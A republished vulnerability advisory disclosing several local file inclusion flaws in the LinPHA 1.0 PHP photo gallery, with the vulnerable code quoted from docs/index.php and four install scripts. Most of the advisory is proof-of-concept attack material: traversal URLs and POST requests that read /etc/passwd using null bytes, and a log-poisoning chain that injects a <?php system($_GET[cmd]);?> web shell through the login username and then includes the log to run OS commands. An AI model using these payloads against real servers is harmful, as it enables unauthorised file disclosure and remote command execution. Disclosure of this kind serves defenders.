Linpha <= 1.0 multiple arbitrary local inclusion

Advisory Content :

------------- Linpha multiple arbitrary local inclusion -----------------

software:
site: http://linpha.sourceforge.net/nuke/
description: " LinPHA is an easy to use, multilingual, flexible photo /
image
archive / album / gallery written in PHP. It uses a SQL database to
store
information about your pictures."
------------------------------------------------------------------------
--------

i)
vulnerable code in docs/index.php at lines 28 - 41:

...
if(isset($_GET['lang'])) // come from install pages
{
$include_lang = $_GET['lang'];
}
elseif(file_exists(TOP_DIR.'/sql/db_connect.php'))
{
include_once(TOP_DIR.'/functions/db_api.php');
$include_lang = get_language();
}
else
{
$include_lang = get_http_accept_lang();
}
include_once(TOP_DIR.'/lang/lang.'.$include_lang.'.php');
...

well, you can include an arbitrary php file from local resources, poc:

http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../.
./test

and, if magic_quotes_gpc = Off, any file:

http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../.
./etc/passwd%00

------------------------------------------------------------------------
--------
ii) install directory is not removed after installation, you cannot use
files to
modify settings but we have arbitrary local inclusion issues in several
files:

------------------------------------------------------------------------
--
ii.a) vulnerable code in install/install.php at lines 26-36:

...
if (@$_GET['language']) {
$lang=$_GET['language'];
} else if (@$_POST['language']) {
$lang=$_POST['language'];
} else if ($http_accept_lang) {
$lang = $http_accept_lang;
} else {
$lang="English";
}

include_once(TOP_DIR.'/lang/lang.'.$lang.'.php');
...

poc:

http://[target]/[path]/install/install.php?language=/../../../../../../.
./test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/install.php?language=/../../sql/tmp/linph
a.log%00

------------------------------------------------------------------------
--
ii.b) vulnerable code in install/sec_stage_install.php at lines 22-31:

...
switch($_GET['whatlang'])
{
case 1:
include_once(TOP_DIR.'/lang/lang.'.@$_GET['language'].'.php');
break;

default:
include_once(TOP_DIR.'/lang/lang.English.php');
break;
}
...

poc:

http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language
=/../../../../../../../test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language
=/../../../../../../../etc/passwd%00

------------------------------------------------------------------------
--
ii.c) vulnerable code in install/third_stage_install.php at line 22:

...
include_once(TOP_DIR.'/lang/lang.'.$_GET['language'].'.php');
...

poc:

http://[target]/[path]/install/sec_stage_install.php?language=/../../../
../../../../test

if magic_quotes_gpc = Off:

http://[target]/[path]/install/sec_stage_install.php?language=/../../../
../../../../etc/passwd%00

------------------------------------------------------------------------
--
ii.d) vulnerable code in install/forth_stage_install.php at line 22:

...
include_once(TOP_DIR.'/lang/lang.'.$_POST['language'].'.php');
...

poc:

POST [path]install/forth_stage_install.php HTTP/1.1rn";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close

language=/../../../../../../../../test

if magic_quotes_gpc = Off:

POST [path]install/forth_stage_install.php HTTP/1.1rn";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: Sun-Tzu
Connection: Close

language=/../../../../../../../../etc/passwd%00

------------------------------------------------------------------------
--------
iii) if "user login events log" is set to "file" in Linpha administration
(not the default) a remote user can inject arbitrary code in
sql/tmp/linpha.log

poc: try to login with username: <?php system($_GET[cmd]);?>
and password: [whatever]

now in sql/tmp/linpha.log we have something like this:

USER | ERROR | 20060211 035519 | 192.168.1.5 | User <?php
system($_GET[cmd]);?>: login failed!

now, if magic_quotes_gpc = Off on target system, you can launch operating
system
commands, poc:

http://[target]/[path]/docs/index.php?cmd=ls%20-laâŒ©=/../../sql/
tmp/l
inpha.log%00

(same technique with install dir scripts...)

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/linpha_10_local.html
------------------------------------------------------------------------
--------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Linpha <= 1.0 multiple arbitrary local inclusion